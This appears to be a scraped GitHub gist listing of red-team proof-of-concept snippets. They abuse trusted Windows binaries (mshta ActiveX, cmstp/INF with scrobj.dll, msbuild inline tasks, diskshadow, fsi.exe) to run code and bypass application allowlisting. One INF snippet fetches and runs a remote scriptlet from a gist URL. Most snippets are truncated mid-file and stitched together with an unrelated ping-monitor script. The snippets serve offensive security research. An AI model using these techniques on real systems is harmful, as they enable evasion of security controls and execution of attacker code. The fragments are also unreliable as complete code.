Skip to content

Instantly share code, notes, and snippets.

<html><head><script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script></head></html>
[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe
; DRIVER.INF
; Copyright (c) Microsoft Corporation. All rights reserved.
[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385
[version]
signature="$CHICAGO$"
AdvancedINF=2.0
[DefaultInstall.Windows7]
UnRegisterOCXs=FunRun
[FunRun]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct
@bohops
bohops / test.inf
Last active March 12, 2020 08:51
Test inf-sct execution (+++ @NickTyrer - https://gist.github.com/NickTyrer/)
;cmstp.exe /s cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
<!-- dotnet.exe msbuild rosylyn_poc.csproj -->
<!-- WDAC/AWL Bypass with Dot Net Core (2.2.x) MSBuild (16.x) and the Rosyln Compiler -->
<Project DefaultTargets="Build">
<UsingTask TaskName="HelloWorld" TaskFactory="RoslynCodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
<Task>
<Code Type="Fragment" Language="cs">
<![CDATA[Console.WriteLine($":-) CSHARP :-)");]]>
</Code>
</Task>
</UsingTask>
Execute
=======
*Interactive Mode
cmd.exe
c:\windows\system32\diskshadow.exe
> exec calc.exe
> exec "cmd.exe" /c calc.exe
> exit
@bohops
bohops / fsharp.fsscript
Created October 22, 2020 01:43 — forked from NickTyrer/fsharp.fsscript
fsi.exe inline execution
#r @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"
open System.Management.Automation
open System.Management.Automation.Runspaces
open System
let runSpace = RunspaceFactory.CreateRunspace()
runSpace.Open()
let pipeline = runSpace.CreatePipeline()
@bohops
bohops / ping_monitor.py
Created September 4, 2021 17:09
Quick & Dirty Ping Monitor + Email Report
# Quick & Dirty Ping Monitor + Email Report
# -----------------------------------------
# Code Credits:
# - Ping Server In Python: https://stackoverflow.com/questions/2953462/pinging-servers-in-python
# - Simple Python Server Monitor: https://github.com/brendancarlson/Simple-Python-Server-Monitor/blob/master/monitor.py
# -----------------------------------------
# Basic Usage: python3 ping_monitor.py
# Cron Usage:
# - Set for every hour to avoid overwhelming SMTP server thresholds
# - crontab -i
@bohops
bohops / JankyAF.csproj
Last active April 28, 2022 21:44
Fun loader for Casey Smith's (@subTee) JanyAF.xsl
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >